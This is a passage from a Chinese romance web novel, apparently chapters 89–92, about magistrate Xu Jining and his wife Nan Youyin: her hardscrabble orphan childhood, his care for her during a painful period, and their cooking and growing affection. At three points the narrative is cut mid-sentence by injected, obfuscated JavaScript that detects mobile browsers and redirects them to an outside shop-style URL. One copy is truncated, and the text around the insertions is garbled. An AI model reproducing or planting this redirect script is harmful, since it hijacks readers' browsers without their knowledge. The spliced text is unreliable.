南有音的回信选择了安抚弟弟,她写她再回平州一趟达成了许多小时候的心愿,又写到她现在在北地过得还可以,吃得饱穿的暖,不用捡菜叶子吃也不用睡漏风的屋子,大概是越写越开心,字迹又潦草的飘了起来。 徐寂宁坐在一边看着她写信,眼见她笔下的字草的没了型,叫他也认不出来。 如果南有音的字潦草到他也认不出,那其他人就更认不出来了,他忍不住提醒道:“有音,好好写字,你这样写,玉振认不出来。” 南有音停下笔,举起信纸看了一会儿,认同了徐寂宁的话,另找出一张纸细细誊写,徐寂宁仍在一旁看着,这次南有音好像写得格外认真,故而也写得格外的慢。 徐寂宁看出她书写缓慢的缘故了:“你在模仿我的字迹?” “嗯。”南有音应了一声。 徐寂宁忍不住轻声笑了:“你仿我的字迹做什么,叫玉振看出来了又上火。” 他与南有音学书时临的字帖不同,字的笔画与间架结构乃至风格都大不相同,现在南有音正仿着他的行笔习气写信。 “他肯定看不出来啦,他和我都不懂什么字画的,”南有音无所谓道,“写着玩玩嘛。” 徐寂宁看着南有音模仿自己的字,看了半晌看得直叹气,南有音写得太拙劣了,倒还不如她自己原本的字。 “不是这样写。”他有些忍无可忍地握住了南有音的右手,一字一画的教起她来。 他教了南有音一阵子,又说道:“你要学也不应该学我的字,应该学二哥的,他的书法最好。” “那你教教我呗。”南有音说。 于是他又牵着南有音的右手,写起了二哥独有的字体,连绵不绝,气势磅礴。 他写得认真,南有音也学的认真,两人的手叠在一起,共同把持着一只毛笔,湿润的墨迹划过来划过去,在纸上翩翩起舞。 四下静悄悄的,几乎听得到纸笔摩擦的细微声,两人到了入神时,仿佛不分彼此,不像是徐寂宁握着南有音的手写,倒像是两人融为一人,共同执笔。 这种相融从笔尖到指尖,继而心神,无一不舒畅和谐,直到—— 院子里忽然传来一阵公鸡打鸣声。 南有音与徐寂宁都像是被吓了一跳,从恍惚中醒来。 笔下的墨迹骤然中断了,两人握着的手也松开了。 “话说,这鸡养了都快一个月了,”南有音搁下笔有些闷闷不乐道,“是时候吃掉了。” 南有音向来利索,当晚就提刀解决了,放血脱毛,而后大卸八块,一气呵成,丢了几块杂碎放在院子里给总是半夜光顾的野猫,剩下的收起来,等着明天琢磨琢磨怎么做。 夜色降临,窗外寒风不断,烛火熄灭之后,南有音窝在床上跟徐寂宁讨论明天怎么吃掉那只鸡,两人自从到了月陵,自己做饭,伙食一直不怎样。 想到明天开荤,南有音有点开心,将她之前听来的如何烹饪鸡肉的方法都细细的给徐寂宁讲了一遍,从除去血沫到小火慢炖熬出香味,说得她小小咽了一口口水。 她听到了徐寂宁也在咽口水,便躲在被子里发笑。 徐寂宁知道她在笑什么,生硬地转移了话题:“咳,有音,你怎么会杀鸡啊?” 南有音向徐寂宁靠拢了一点,以便蹭取他身上的热量,蜷缩起来说道:“我小时候在屠户家住了几天,跟他偷学了几手,当时还差点嫁给他儿子了。” 徐寂宁一惊,心里莫名有点酸:“你还差点跟别人结婚?” “嗯,不过最后也没成,”南有音有些困倦地说道,“屠户儿子当时病得快死了,想找人冲喜罢了,他虽不缺钱,村里也没人想叫女儿攀这种婚事,屠户没办法,最后就打起我的注意了,我没有爹娘,自然没人在意,他说叫我去他家,以后天天有肉吃,我就去了,结果没出三天,喜还没冲,他儿子就一命呜呼了,然后他就把我又赶出了,还给我冠上什么命硬,克六亲克夫天煞孤星之类的称号……” “总之,是叫我难受了几天的。”南有音嘟囔道。 “无稽之谈。”徐寂宁立刻反驳,他温声说道,“有音,若不是你,我恐怕早就交待在岭南了,还有你我婚事,虽说我一直对钦天监的话存有疑虑,但我此前卧病数年,命悬一线,也确实是同你订亲后才好了起来。” “所以呀,”他继续安慰道,“那屠户说得不对,你哪里会是什么天煞孤星,分明是遇见你,才能数次绝处逢生。” 徐寂宁说得温和,却又诚挚,南有音听得心里热热的,她嗯了一声,说道:“我早就不伤心啦,屠户把我赶走没多久,我就遇到了现在的父母。” 她回忆起往事,说道:“之前我会去给村里人干活儿讨点饭吃,屠户的儿子死了之后,我是什么天煞孤星的话传开了,村里人也都害怕起来,也不叫我去干活了,我就没东西吃了。” “实在愚昧。”徐寂宁说道。 “唉,”南有音叹了一口气,“其实我知道村里人没什么恶意,大多数还是善良的,你想啊,他们要真是些狠心的人,我一个无依无靠的小孩,哪能在村子里平安长到十三岁,还没被饿死冻死。所以那时我想,只要我捱过十天半个月,那些心软的婆婆婶婶,就又会叫我去干活,给我些吃的了。” “没有东西吃了,我就等着集市散了的时候捡些菜叶,但只有初一十五才有集,菜叶吃了也不顶饱,”南有音蜷缩地更紧了,声音也变小了,“我就在街上到处走,有人人家的狗不养在院子里,栓在外面,我就躲起来,等着他们喂狗……” “好多狗都很凶,我不敢跟他们抢,只有一户人家的大花狗脾气好,我就连着去抢它的饭,连着吃了三天,我看它瘦了,就不忍心再抢了。”南有音深吸一口气,说道,“之后我就去翻垃圾了……” 她没再往下说,而是问道:“徐寂宁,你听这些会不会觉得很不可思议?” 徐寂您确实讶然良久,这是他头一次听南有音认真讲起童年,与他的童年截然不同。 他过去总奇怪南有音好像什么技能都会一点儿,上墙爬树,种花除草,甚至还有今日刚刚目睹的杀鸡,他也曾奇怪她对生活从不挑剔,不管是粗茶淡饭还是风餐露宿,她都豁达潇洒的照单全收,他也奇怪她为何会如此坚韧,身处孤岛的绝望亦或是爱情破灭的伤痛,都无法真正击垮她。 他早早就笃信不管是在末山还是月陵,没有南有音,他的生活恐怕天差地别,但没有他,南有音依然能活得很好。 他听南有音说起童年,骤然想起与她初见时,她那时又黑又瘦,不愿向那些权贵之子低头,他早就看到过她那一双永远明亮的眼睛,却直到今日才明白,原来她眼中永不熄灭的光焰,她的坚韧,她的独立,还有她那些乱七八糟的技能,都从她儿时的孤苦无依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“再次见到南夫人和南老爷是新年之后,他们离开霞岭,路过彤庄,要重返京城。他们来彤庄的时候,村长去接待他们,我却躲起来不敢见他们,我怕他们再对我那么好,我就没法一个人过了,我小时候总是一个人,看着其他孩子有爹娘或者兄弟姊妹,总是羡慕,”南有音眼眶有点潮湿,“其实我小时候最大的愿望,倒也不是非要去平州城的酒楼或者吃香喝辣,我最大的愿望是能有个人跟我一块,不论吃苦还是享乐,哪怕只是说说话,两个人总比一个人好。” “于是我跑到山里躲了起来,那天还下起了雪,后来我听说村里的人找了我好久,最后是南老爷找到了我,他头发上眉毛上都落满了雪,看上去像白头发的老仙长,他解下披风,披在我身上,问我愿不愿跟着他还有他的夫人回京城,我连想都没想就答应了。” “之后我就随着他们走了,南老爷说是南夫人喜欢我,见到我就对我念念不忘,南夫人则说是南老爷喜欢我,宗族给他挑了好多过继的人选,大大小小的挑来挑去,都觉得不如我,我知道他们是怜悯我,愿意给我一个家,我便抱住他们,改口叫他们爹娘了,从此我就有了家,有了姓名,后来遇到玉振,便又有了弟弟。”南有音微微一笑,“我还是很幸运的,我小时候那些不敢想的事,后来都会变成真的。” “母亲父亲带我离开彤庄,我在路上忽然想起村里人那些天煞孤星之类的议论,就悄悄问母亲知不知道,我有点怕他们会介意,但是母亲将我揽在怀里,说我是她的女儿,旁人无论怎么说都不会改变,我那时好感动,就把心里的委屈都说了出来,其中就有给屠户儿子冲喜那件事,那时候我其实不知道结婚是怎么回事。”南有音捅了捅身侧的徐寂宁,“所以你也用不着心里发酸。” “我把这件事告诉母亲,母亲说结婚不是这样的,我便问她是什么样子,她没回答我,悄悄看了一眼父亲,对我说等我长大了,她会给我挑最好的夫君。后来我长大了,明白母亲没说出口的回答是什么了,结婚应是两厢恩爱,白首不移,就像她和父亲一样,但我后来才发现,并不是所有夫妻都恩爱和睦两心相许,我的夫君也不是母亲挑的是我自己选的,至于是不是最好的呢……” 南有音有些调皮地低声笑了:“我也不知道。” “唉,本来只是要说我怎么学会杀鸡的,结果跟你说了这么多,”南有音在被子里调整到一个舒服的位置,闭上眼睛,有些困倦地喃喃道,“这就是我小时候,跟你小时候一点也不一样吧,你要是还想听,我也可以给你讲讲玉振的,他比我惨一点吧,差一点就被送进宫当太监了……” 南有音轻轻笑了一会儿,很快睡着了。 徐寂宁静静注视着南有音的睡颜,轻轻地又小心翼翼地环抱住了她,仿佛是想要拥抱过去那个孤零零的小女孩。 “有音……”他低声喟叹。 他想起了重阳那日,他们一行日在山顶的道观神像前许愿,他许的三个愿都与南有音相关,第二个愿望便是是希望南有音的愿望都能实现。 他现在总觉得当时应该再虔诚些,虽然南有音说她好多小时候的愿望都实现了,但他不光希望她得偿所愿有求必应,他更愿她自此圆满,圆满到从此不必再有任何愿望。 90. 入微 虽然昨夜说了一宿的话,但徐寂宁还是很早就醒来了,南有音听着身边的动静,也爬起来了,徐寂宁叫她再睡会儿,她却惦记着昨日宰的鸡,琢磨着怎么吃了。 “反正醒都醒了。”南有音穿好衣服,将昨夜熄灭的小火炉重新烧旺,最后在梳妆镜前坐好,等着徐寂您给她梳发髻。 徐寂宁这次尝试了一个复杂的发型,他编了好久,不光南有音不耐烦了,他赶到官衙时也比寻常晚了好多。 不过他的下属们都露出理解的意思。 “年轻夫妻嘛。”新来的老县丞拍了拍他的肩膀,流露出羡慕与追忆,“我刚成亲那会儿也是……” 徐寂宁一阵尴尬,匆忙解释,他只是给夫人梳头耽搁了而已,他向来不拿长官架子,众人与他熟悉,便都跟他开起玩笑来了。 “徐大人给夫人梳头发,过会儿是不是还要回去烧火做饭?” 徐寂宁想了想,点点头,他确实会回去做饭,南有音教了他如何洗菜切菜,近几日他渐渐展现出青出于蓝的架势来,刀工越发娴熟,引得南有音啧啧称赞。他想过不了几日,他就能学会南有音全部厨艺,此后厨房就要成了他的天下,用不着南有音操心了。 众人与他玩笑了一阵,还是该干什么干什么。可能是月陵县实在是个小县,也可能因为在徐寂宁的领导下众人效率奇高,总之过不了多久,大家就处理了所有事务,又闲了下来。 徐寂宁与众人闲聊,想起皇帝给他的那个模棱两可的任务,便问下属知不知道月陵有什么捞油水的地方,新来的主簿想了想,说月陵最大的油水就是西北风多,管饱,引得众人一阵大笑。 下属们自然是知道自家知县不是那种捞油水的人,便好奇徐寂宁问这个做什么,徐寂宁说是想查一查月陵有没有什么大的贪官污吏。 这个荒唐的问题让众人面面相觑,纷纷表示您是知县,是月陵最大官,背后的含义便是你的权力最大,若月陵真有什么贪官污吏,知县当属最大。 新来的县丞年长些,便喜欢说教,就对徐寂宁说道:“大人想要查贪官污吏,想必是为了政绩,可惜咱们月陵贫瘠偏僻,老鼠来了都得饿死,百姓哪里是搜刮不了,上面的拨款,往往到了平州府就消失得一干二净了,连点渣子也流不到月陵来。” 他又絮叨了一堆,其内涵无非是临近年关,大家家里都忙,请徐寂宁这位知县别再多事,他们还想闲下来回家多陪陪老婆孩子。 最终大家玩笑一阵,便散了回家了。 徐寂宁翻了一会儿月陵下辖的几个小村落的户籍财政,确实都是些穷乡僻壤,愈发觉得皇帝在给他出难题。 他思虑了一会儿,想着南有音总跟他提要回彤庄和霞岭一趟,便想着到时候也顺便去其他几个村子转转,说不定能找到些什么。他翻了翻黄历,过不了几日就是新年,新年县衙休沐数日,他正好有空跟南有音回乡。 他也没再正堂多呆,惦记着要帮南有音切菜,便也回内宅了。 内宅静悄悄的,冬日里罕见的太阳明晃晃地照射院子,留下一片淡淡的金黄,徐寂宁去了厨房,南有音不在,昨日大卸八块的鸡肉少了一点,可能是被野猫偷吃了。 他回了卧房,南有音趴在桌子,枕着胳膊,似乎睡着了,也不管胳膊下面的稿子上墨迹有没有干。 “早说了叫你再睡会儿的。”他笑着走近,轻轻推了推南有音的肩膀,“别趴在桌子啦,小心过会儿会脖子疼,想睡就去床上再躺会儿吧。” “唔……”南有音没什么反应。 徐寂宁靠近了些,发现南有音在微微颤抖。 “有音?” “肚子疼。”南有音无力地说道,“你扶我去床上缓缓。” 徐寂宁见她脸色不好,有些慌神,便直接将她抱了起来。 “你吃什么不干净的东西了?”他小心地将南有音放在床上,帮她脱了鞋子,又掖好被角。 明明刚刚起床时还好好的,怎么转眼就蔫了。 他抬手摸了摸南有音因冷汗而有些潮湿的额头,但南有音好像有些不舒服似得躲了一下。 “不是吃的……”南有音微弱地说道,“我来月事了。” 南有音后半句声音太小,他没听清楚:“什么?” “月事,癸水,女人每个月都有的事,”南有音似乎有些诧异,“你不知道啊?” “我知道,三姐跟我说过这些,”徐寂宁脸有点红,“我日日跟你在一起,自然也能察觉一点的,但这跟你肚子疼有什么关系?之前好像也见你没肚子疼……” “我一般不会肚子疼的,”南有音恹恹道,“这次可能是今早上院子里有只猫,我坐地上喂它,地上太冷了,有点受凉了。” 早上南有音一推门,就瞧见院子里一直姜黄色的大猫,这次的野猫没有见人就跑,她就去厨房拿了两块鸡肉扔给它,阳光照在它姜黄色的毛上,一片橘红,很是绚烂,南有音就坐在台阶上看着它吃,等它吃完了就再给它扔一块,直到小腹隐隐作痛,南有音才意识到不对劲儿,匆匆起身。 小腹坠痛,她浑身发冷,不想去厨房了,连心心念念的鸡汤也不想熬了,只想呆在炉火烧得很旺的屋里,她回了卧房,寻思着缓缓就好了,就坐在桌前,写了写脑海里冒出来的话本子框架。 结果肚子越来越疼,她两眼发黑,就歪在桌子上了。 “有音,需要我做些什么吗?”徐寂宁担忧道,他很少看到南有音这幅虚弱的模样。 南有音似乎很不舒服,没有理他,他只好把掖好的被角重新掖了掖,担忧地注视着她。 “冷……”过了一小会儿后,南有音小声嘟囔道。 徐寂宁离开床边,俯下身烧炉火,不一会儿就听到火舌吞噬炭石呼呼作响的声音。 只听声音,南有音就知道屋里那只小火炉肯定烧得通红了,她觉暖和了一点,轻声问道:“徐寂宁,你什么时候也学会烧炉火了?” “你烧炉火的时候我在旁边,多看几次也就会了。”徐寂宁又问她还需要些什么。 “没什么,”小腹的钝痛令南有音皱了皱眉,她见徐寂宁可怜兮兮地守在她床前,好似她得了什么重症,她有些受不了,赶走了他,嘟囔道,“别这样,我睡会儿就好了。” 徐寂宁温和地答应了:“好,你安心睡吧。” 南有音在一阵一阵的绞痛中迷糊过去,隐隐听到徐寂宁往火炉里添炭的声音,感受到他又摸了摸她的额头,她微微睁开眼看了一下,便又昏睡过去了。 中间徐寂宁叫醒她,问她要不要吃饭,她好像没好气地拒绝了,等她再次醒来,徐寂宁还守在床边,见她醒了,忙问她好受些了吗,要不要吃点什么。 她乏力地坐起身来,徐寂宁很有眼色的往她背后塞了一个靠枕,她觉得口渴,还未开口,徐寂宁就端过来一碗热热的红糖水。 “我打听过了,”徐寂宁似乎有点不好意思,“他们说这个时候喝点红糖水好。” 南有音接过碗喝了,甜丝丝的回味在舌尖,也不知道徐寂宁用了什么办法,红糖水的温度刚刚好,她一醒过来就能直接喝。 “有音,你好些了吗?”徐寂宁觉得南有音脸色还是不好。 “还好,没刚才那么难受了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582624|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南有音看了一眼窗外,发现已经快要黄昏了,心下一凉,她在床上躺了太久了,她敏锐的感觉到身下黏黏的。 “怎么了?”徐寂宁发现南有音忽然变了脸色,一副又恼又烦的样子。 “你怎么不叫我起来一次。”南有音有些丧气,她想起徐寂宁确实叫过她一次,但她语气非常恶劣的拒绝了。 “中午的时候我问你要不要吃饭,你说你犯恶心,要再睡会儿。”徐寂宁没有被她中午的恶劣态度影响,仍是很温和,“你现在饿了吗?” 南有音没心思想吃饭的事,她叹了口气,掀开被子,果然如她所料,血迹透过她的衣服,在床上蔓延了鲜红一块。 “你……你怎么回事?怎么流这么多血!”徐寂宁瞬间慌了。 “女人的月事就是这样啊……”她小心翼翼地下床,花了一点功夫才让徐寂宁相信这是正常的,“你不是知道癸水是什么吗?” “我知道,但是我不知道会流这么多血……”徐寂宁看上去仍然有些慌神,小心注视着南有音,似乎生怕她下一刻就因为失血过多昏了过去。 “如果我中间起来一趟,换下衣物,就不会这样了。”南有音看着床上的血迹沉默了,确实是很大一滩,必然透过床单渗进褥子里了。她又扭头看了一眼自己身后,又是大块的血渍,只想想该如何清洗床单和衣物就顿感头痛无比。 她去了一趟厕所,回来时徐寂宁已经默默收拾好床铺,换了一套干净的铺盖,还帮她找了换洗衣物搭在椅背上,甚至还提了一壶烧好的水放在屋里。 “你把衣服换了吧。”徐寂宁抱着沾了血的铺盖出去了,很贴心的给南有音单独留了些空间。 南有音脱了染血的衣物,又找了一个干净的铜盆,倒上温热的水,清洗了身下的血迹,穿好了徐寂宁给她找的衣服,惊讶地发现徐寂宁连她塞在柜子底下的月事带也给她找出来备好了。 她拾掇好了,要端着血污的脏水出去倒了,徐寂宁却在卧房门口候着,说着什么你肚子疼还没好,最好不要出去受凉,不由分说地端走了她手上的铜盆,回来后又拾走了她换下来的脏衣服。 徐寂宁这也不叫她干,那也不叫她碰,她很无奈,告诉徐寂宁她不至于那么虚弱,徐寂宁却满眼担忧:“有音,你流了好多血。” 南有音又一次费了口舌告诉徐寂宁这是正常的,但徐寂宁依旧不放心:“我不想你肚子疼。” 南有音小腹确实还有些坠痛,她也就老老实实呆在屋里了,过了片刻,她闻到了无比浓郁的香味,勾得她不停地咽口水。 徐寂宁从厨房端了鸡汤过来,给她盛了一碗:“你睡觉的时候我把鸡炖了,刚刚热了热,你尝尝怎么样?” 南有音不得不承认徐寂宁厨艺相当不错,至少这只鸡炖得非常不错,肉煮得软烂滑嫩,汤熬得金黄清澈,喝一口几乎要鲜掉了舌头。一方面是汤太鲜了,一方面是她确实也饿了,埋头吃了好久,才想起来回应徐寂宁:“好吃!太好吃啦!” 徐寂宁见她满意,自己也笑了,像是觉得自己在南有音身边终于有点用了一般。 “你怎么煮得?”南有音忍不住问他,“感觉比外面做得都好吃。” 徐寂宁说就是按南有音昨夜念叨地方法自己琢磨着煮得。 南有音又喝了几口汤,想起徐寂宁切了几次菜后展现出的惊人刀工,半是玩笑道:“徐寂宁,我发现你很适合呆在厨房,你舌头敏锐,手下刀工也好,要不你别干知县了,去当厨子吧,肯定能做出一番事业。” 徐寂宁看着南有音咽下鸡汤,露出满足的笑容,忽然觉得给她当厨子也不错。 91. 等候 饭后时间还早,南有音便想着趁着血迹没干透了,抓紧把那些脏床单脏衣服的洗了,洗大件的东西叫人犯愁,最让人犯愁的是血迹得用冷水洗,眼下寒冬,冷水洗衣,可想而知。 徐寂宁见她时不时捂着捂着肚子皱眉头,便又把她推到了床上,叫她再躺会儿。 “但是那些床单衣服不快点洗容易洗不出来了。”南有音不太愿意。 徐寂宁态度少见的强硬:“你万一碰了凉水肚子疼的更厉害了呢?” “也是。”南有音这样想着,她确实也吃饱了有些困顿,便躺下任由徐寂宁给她盖好被子。 “你记得过会儿叫醒我。”她叮嘱道,她不想再弄脏一套铺盖了,虽说其实脏了再买新的就行,但她总归觉得太浪费了。 “好。”徐寂宁温和道,“再睡会儿吧。” 南有音得了徐寂宁的应答,放心睡了过去,但白天睡了太久,这次她睡了没一会儿就醒了,醒来时徐寂宁不在屋里,只有小火炉烧得很旺,窗外到了落日时分,一片红霞。 她觉得身上舒服多了,就想到院子里透透气,推开门就看到院子里晾着洗好的床单褥子,在北风吹拂中结了一层冰碴子。 她心下一惊,犹疑是不是徐寂宁洗的,转过头就看到徐寂宁挽起袖子,正在洗她换下来的衣服,两只手被凉水激得泛红。 “你……”她走过去,本想说点什么,忽而看到徐寂宁手上仔细洗的正是她先前血浸透了的贴身衣服,一时说不出话来了。 徐寂宁抬头见是她,脸又红了,在晚霞的遮挡下也能看得一清二楚。 “你怎么出来了?”他有点不自在,“是惦记着床单和衣服吗?我现在也闲着没事,你当心冻着,回屋吧,我洗就行……” 南有音将视线从徐寂宁手上的贴身衣物挪开,少见地不安:“你……洗我的衣服啊……” “不,不可以吗?”徐寂宁有片刻的局促,“你要是不愿意的话,下次我就不碰了。” “不是,没什么关系的,”南有音在晚霞的掩映下也微微红了脸,“我只是没想到你会……你,你没必要这样,而且沾满了血,怪脏的……” 徐寂宁温和笑了一下:“有音,你都不嫌弃我,我帮你洗件衣服也不算什么呀。” “哦……”她蹲下来,等着徐寂宁洗完衣服。 徐寂宁赶她去屋子里暖和,她不愿意,只盯着徐寂宁的手有些发愣,那双向来不沾阳春水的十指被冷水泡得发红发皱。 他为她洗衣做饭铺床,他还是那个高高在上不知饥馑的徐府小少爷吗? 南有音觉得徐寂宁似乎变了很多,她不清楚他是从何时愿意低下头的,也不清楚何时发现自己安稳的心跳又会因他而错乱片刻,是岭南生死相依留下的依恋,还是徽州七夕的一场雨拨乱心弦?是重阳山顶道观他许下的愿望令她动容,还是噩梦惊醒时他的温言相伴?是因为是昨日还是今日,亦或是明日…… 她的目光又扫向徐寂宁的面庞,徐寂宁脸上的线条像是功力极深的丹青画手信手勾勒的一般,在柔和的夕照下,显得流畅又温柔,她毫不掩饰地注视着这一张脸,一张她从少女时便总牵挂的面孔。 徐寂宁很快觉察到了她的目光,抬眼看过来,微微笑了一下,仍旧是细长秀气的眼睛,挺拔精致的鼻子,两叶薄唇,与她所想所念的分毫不差。 “有音?”徐寂宁轻轻唤了一声。 南有音答应了一声,仍是直勾勾地盯着他。 徐寂宁脸又红了,低头匆匆拧干手里的大小衣物,晾在院里,原想着拉着盯着他的南有音进屋,但一想自己的手冰凉,就只拽了她的袖子。 但南有音似乎不太满意,她甩了甩胳膊,挣脱了,而后注视着徐寂宁片刻,说道:“还是拉我的手吧。” “但是我的手太凉了……”徐寂宁垂下眼帘,南有音已经将手伸到他面前了,他只好小心翼翼地握住了她的手指。 冰凉而柔软的触感从指尖传来,南有音却无比清晰地感受到了自己心脏中流动的热血,这与过去不一样,现在她与徐寂宁只差一点就熟悉到不能再熟悉了,她的心不再是为了一个一面之缘、幻想中的虚影而跳动,而是切切实实的,为了眼前人。 “有音。” 她听到徐寂宁在呼唤她。 “初见时,你的手一定很痛吧?”徐寂宁轻声问道。 “嗯?”她有些不解,“怎么突然说起这个?” “只是我刚刚洗衣物的时候想到的。” 南有音明了,冬日的水冷到刺骨,像冰刃一般划过肌肤,寒气直指骨髓,若再遇上风吹,皲裂难免。 她撩起衣角,擦干了徐寂宁手上残余的水珠。 “我没事的。”徐寂宁还记得幼时见面,南有音那双红紫溃烂的手,回忆过往,他似乎有些于心不忍与愧疚,“你那时还用雪做了一朵花送给我。” “嗯,等今年下雪的时候,我可以教你怎么用雪做花,不过就是我好久不做了,可能忘了。” “那时你的手触摸冰凉的雪,一定很疼吧。”徐寂宁还记得南有音捧着雪做成的花,手背的伤口流出殷红的血珠。 如今他触摸到了冬季冰凉的水,又想起那时三姐的愤怒,终于彻底理解三姐所说,他过去锦衣玉食,僮仆成群,他不知道大冬天频频触碰冷水是什么感觉,不晓得冻伤的痛处,不会去看芸芸众生,更不懂悲悯。 南有音却说道:“当时很快乐,就顾不上疼了,那时候大家都不理我,只有你跟我玩,我正急着快点交到新朋友,想法子讨好你呢。” “说起来啊,”南有音流露出一点怀念,“其实我那个时候就把你当做好朋友了。” “朋友啊……”徐寂宁轻轻呢喃。 南有音注视着他细长秀气的眼睛,他也望着她,她几乎肯定他们想的是一件事,她与他为了所谓的“朋友”关系还置过两天的气,但她不想总是一切因她而动,唯有主动的、亲口说出的,她才愿相信与接受。 她还记得前几日县衙门口老婆婆说的,男人总是心里想的嘴上说的身上做的不一样,那她也只好提高些标准,心里想的,身上做的,口里说的,都要让她感知到才行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597239|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但徐寂宁见她不说话,就也不说话,只是牵着她的手,小心地试探着,最后十指相扣,她感受到了他手上的凉意,但没有松手。 到了夜里,南有音和徐寂宁都辗转反侧,南有音是白天睡多了夜里不困,徐寂宁则是心有所思。 他在想过去三姐说的唯有两心相许的人才能结为夫妻,又想到南有音初入徐府时,她曾问他二人是什么关系,他给出的答案是“或许算是夫妻”,他又想到他说过对南有音没有喜爱,也想到永州城时南有音再度询问二人关系,那一次是南有音给出了答案,她说他们是朋友。 于是,直到今日,他们二人亲口承认过的关系仍是“朋友”,实在有些荒唐可笑了。 在重阳那日,他在山顶的道观曾许下三个愿望,他告诉了南有音前两个愿望,希望她心爱的事业写话本子能越来越好,希望她许下的心愿能够实现,唯有第三个愿望,不仅与她有关,也与他有关,他希望他们二人两心相许,珍重相爱,当时无论南有音如何追问第三个愿望,他都没有说出口。 或许有一点是因为他所受的教育总是含蓄文雅的,太过热烈直白的东西他总是有些说不出口,也或许是因为那时他不知道南有音是怎么想的,过去是他先推开她,迫使她在解不开的夫妻契约里另寻二人相处之道,他总觉得愧疚,若是她还想只是朋友,他也不敢要求其他。 然而两人约做朋友,看似相当,实则不然,母亲会问他要不要纳妾室,他猛然察觉这一纸婚契真正束缚的只有南有音,他永远是强势、自由且拥有选择权的一方,但他宁愿南有音来选择一切,甚至也暗中忍着心痛想过些如何放她自由的办法,若她提出,他自会尽力。 他想着只要依照她的选择来就好,毕竟她向来直爽,有什么便直说什么,他便听她所说,朋友则朋友,其他则其他。 时至今日,他猜南有音肯定也察觉了二人关系的微妙变化,但这个一向有话直说的直肠子姑娘在朋友或是其他这一问题上忽然展现出了前所未有的推阻,她这次什么也不说,甚至他问她,她也不答。 他觉得必然是有什么因由,便也只好等待着忍耐着,但时间久了,便觉得那点微弱的堤防,挡不住心间汹涌的洪流,毕竟他试着牵她的手时,她并没有拒绝十指相扣。 他听到枕边人也辗转反侧,不知道她同他想的是不是一个问题。 “有音,你肚子还疼吗?”他温声问道。 “不疼了,就是白天睡得太多了,现在睡不着了。”南有音又道,“你呢,你怎么还不睡?在想些什么呢?” “我……我在想皇帝说的事。” “哦。”南有音兴致不高,“你有什么想法?” “在县衙是查不出什么了,我想着新年休沐,便带着你在周围村落里转转看看,顺便打听打听,若时间赶得巧,说不定还得留在彤庄或者霞岭过一次年。” “那就在霞岭过年吧,”南有音来了兴致,“过去爹说过,霞岭那里的人都姓南,跟他多少有些血缘,咱们在那里过年,勉强算在家里。” “好。”徐寂宁温声答应。 92. 山雪 临近年关,百姓家里忙碌,相应的县衙诸人也都无心政事,点个卯就走,就候着过两天休沐,徐寂宁也不天天坐在县衙正堂,而是天天与南有音钻进厨房。 南有音为乡里人要了点面引子,打算蒸馒头,她没打算蒸多少,只是按着腊月二十几该干啥干啥,凑个热闹。 “蒸馒头的办法都是我爹交给我的,”南有音一边指挥着徐寂宁将面团成球形一边说道,“我娘过去是富家小姐,跟你一样事事都有人伺候服侍,故而跟过去的你一样,什么也不太会,不过嫁给我爹,我爹依旧由着她十指不沾阳春水,家里大小家务其实都是我爹干,往常都是我爹做饭,只是你去的时候我爹要招待你,就没法下厨了。” 徐寂宁表示他会向南老爷学习,南有音笑得很开心:“那你还要学好多呢,单论面食,蒸馒头还算简单,之后还有面条,面条又分手擀的刀削的,还有拉的又长又细的龙须面,还有烙饼,面饼菜饼鸡蛋饼,这些我爹都会,不过我没怎么学会,你要是学呀,任重而道远呢。” 徐寂宁认真道:“我会努力。” 南有音不以为然,离开烟熏火燎的厨房回屋里写话本子,等到想起来去厨房看一眼时,徐寂宁的馒头已经出锅了,热气腾腾冒着白气,等着她的检验。 她凑近了一瞧,大吃一惊:“这些,这些都是你做的?” 盖顶上不光有中规中矩的馒头,还有两颗红豆点了眼睛的白白胖胖的面兔子,鱼鳞清晰可见翘着尾巴的面鱼,中间则是一座五层高的枣山。 “我想着之间在家吃的那些面食的样子,就试着用面捏了捏蒸上了。”徐寂宁又些不安道,“有音,我蒸的怎么样?” “你就想了想,然后就真做出来了?”南有音捏起一只可爱又松软的面兔子,只觉得徐寂宁的厨艺不断出乎她的意料,“我现在相信了,你日后肯定能把我爹的手艺都学会!” 不止在蒸馒头上,煎鱼煮肉甚至做豆腐上,徐寂宁都表现出了一点即会、触类旁通、举一反三的惊人能力,南有音甘拜下风,由主厨沦落到帮厨,最后变成在一边看着的,她认为徐府多年的养尊处优险些埋没了一个天才厨子。 “皇帝也算干了件好事,”她这样对徐寂宁说道,“不把你扔到月陵自己做饭,都不知道原来你跟厨房和灶台竟然这样般配。” 官衙新年休沐,徐寂宁就带着南有音在月陵下辖的村落里走动,走访了数个村落,查办了一起盗窃,给几户孤寡老人送了棉衣炭火,感受了一番乡里人的质朴热情,徐寂宁勉强听懂了当地方言,除此之外,一无所获,皇帝口中的小老鼠丝毫不见踪迹。 